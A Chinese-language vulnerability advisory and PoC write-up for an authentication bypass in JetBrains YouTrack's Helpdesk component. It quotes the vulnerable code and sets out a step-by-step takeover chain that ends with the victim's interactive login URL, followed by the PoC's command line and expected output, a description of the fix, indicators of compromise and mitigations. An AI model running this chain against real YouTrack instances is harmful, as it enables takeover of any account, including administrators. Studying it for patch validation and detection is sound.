状态: 作为漏洞研究的一部分重建的 PoC;当时不存在公开的漏洞利用。
| 产品 | JetBrains YouTrack(自托管),Helpdesk 组件 |
| 受影响 | 2025.3.161254 和 2026.1.14042 之前的所有构建(2026.2 系列已包含修复) |
| 类型 | CWE-290 — 通过欺骗绕过身份验证 |
| CVSS 3.1 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 影响 | 通过 Helpdesk 报告者电子邮件欺骗,完全接管任意用户(包括管理员)的账户 |
| 发布日期 | 2026-09-07(CNA:JetBrains) |
Helpdesk 报告者是没有密码的外部客户端。当有人通过公开表单或电子邮件提交工单时,系统会自动创建一个账户。 为了访问其工单,报告者会收到一个带有签名的魔法链接:
GET /landing?target=reporterLanding&sign=<token>
→ frontend does POST /api/reporterLanding?sign=<token>
该令牌由 HelpdeskReporterServiceImpl.createLandingUrl 签发:
val signature = entitySigningService.newSign(
reporter, issue, SignatureDuration.NOTIFICATIONS) // valid ~14 days
UriBuilder.fromUri(baseUrl).path("landing")
.queryParam("target", "reporterLanding")
.queryParam("sign", signature)
ReporterLandingResource(存在漏洞的构建版本 2026.1.13874):
public XdUser resolveUser(ContainerRequestContext req) {
return entitySigningService.parseSign(sign, XdIssue.Companion).getUser();
}
@POST @CustomAuth
public RedirectResponse landing(@QueryParam("sign") String token) {
if (loggedIn.isGuest()) { /* redirect only */ }
XdUser merged = helpdeskReporterService.onReporterEmailVerified(loggedInUser);
// VULNERABILITY: Hub login URL is issued for the MERGED account unconditionally:
String uri = helpdeskReporterService.createHubAuthUrl(merged, issue);
return new RedirectResponse(uri, ..., true);
}
onReporterEmailVerified(reporter)(存在漏洞的版本):
clones = users.where(u -> u.email == reporter.email
&& u.isEmailVerified == true)
.where(u -> u != reporter);
if (!reporter.isEmailVerified() && !clones.isEmpty()
&& reporter.getType() == REPORTER) {
return mergeReporter(reporter, findBestMatchingClone(clones));
}
克隆过滤器仅检查邮箱 + 验证标志,而不验证账户类型
(通过反汇编 onReporterEmailVerified$lambda$0 确认:
getEmail() eq getEmail() + isEmailVerified() eq const)。一个“克隆”可以是
普通用户,也可以是邮箱与报告者匹配的管理员。
createHubAuthUrl 会签发一个交互式 Hub 邀请登录 URL
(oauth2/interactive/invite/{token},token 来自 createBypassRestoreTokenForUser)
——在浏览器中打开它即可获得指定账户的会话。
| 步骤 | 操作 | 详情 |
|---|---|---|
| 1 | 立足点(无账户) | POST /api/feedbackForms/{uuid}/submit,使用攻击者自己的邮箱——getOrCreateReporterFromEmail 会创建一个报告者(unverified,类型 REPORTER) |
| 2 | 报告者会话 | 攻击者从确认邮件中提取魔法链接(sign,有效期 14 天)并打开它——浏览器即以其报告者身份完成认证 |
| 3 | 自述邮箱 | 报告者通过自助资料将邮箱改为受害者的地址;无需所有权验证;emailVerified 保持为 false |
| 4 | 接管 | 重新打开同一个魔法链接:onReporterEmailVerified 看到一个未验证、邮箱为受害者地址的报告者 → 合并到受害者账户 → createHubAuthUrl(victim) → 响应中返回受害者的登录 URL → 完全访问 |
**结果:**攻击者的会话 = 受害者的账户(任何已验证用户,包括管理员)。
ReporterLandingResource.landing():
signedUser),而非来自会话createHubAuthUrl;其他账户仅获得普通重定向merged.setEmailVerified(true)newEmailBoundSign / parseEmailBoundSign——更改邮箱会使魔法链接失效HelpdeskReporterServiceImpl:
getOrCreateReporterFromEmail 优先选择邮箱已验证的报告者onReporterEmailVerified 通过 findMergeTarget 重写(合并语义相同,但登录在资源层受到限制)poc_cve_2026_86478.py(仅使用标准库)。仅用于你拥有或已获得明确书面
许可进行测试的实例。
实现步骤 1–4:匿名表单提交 → 通过魔法链接获得报告者会话 →
将邮箱更改为受害者地址(YouTrack/Hub 资料 REST)→ 重新打开
同一链接 → 获取受害者的登录 URL。--login 标志还会
跟随该链接,并通过 GET /api/me 证明会话有效。
python poc_cve_2026_86478.py --url https://yt.lab.local/ \
--form-uuid <public form UUID> \
--attacker-email [email protected] \
--magic-link "https://yt.lab.local/landing?target=reporterLanding&sign=<from email>" \
--victim-email [email protected] \
--i-am-authorized
说明:
--captcha-token 传递令牌在存在漏洞的实例上的预期输出:
[*] Fingerprinting target
GET /api/me -> 200
[*] Step 1: anonymous helpdesk form submission (self-asserted email)
POST /api/feedbackForms/.../submit -> 200
[*] Step 2: authenticating as the reporter via the magic link
POST /api/reporterLanding -> 200
[*] Step 3: self-asserting the victim's email on the reporter profile
profile email now: [email protected]
[*] Step 4: re-opening the same magic link (merge + takeover URL)
POST /api/reporterLanding -> 200
[+] VULNERABLE: interactive login URL for the victim account:
https://yt.lab.local/hub/oauth2/interactive/invite/abc123...
Opening this URL in a browser establishes an authenticated
session as the merged account (CWE-290).
入侵指标:
POST /api/reporterLanding?sign=... 请求,随后发生电子邮件更改Merging reporters with email (...)、Merged reporter from ... to ...缓解措施:
/api/reporterLanding 置于认证网关之后本材料旨在用于您拥有或获授权测试的实例上的漏洞研究和补丁验证。未经所有者许可对系统使用本材料属于违法行为。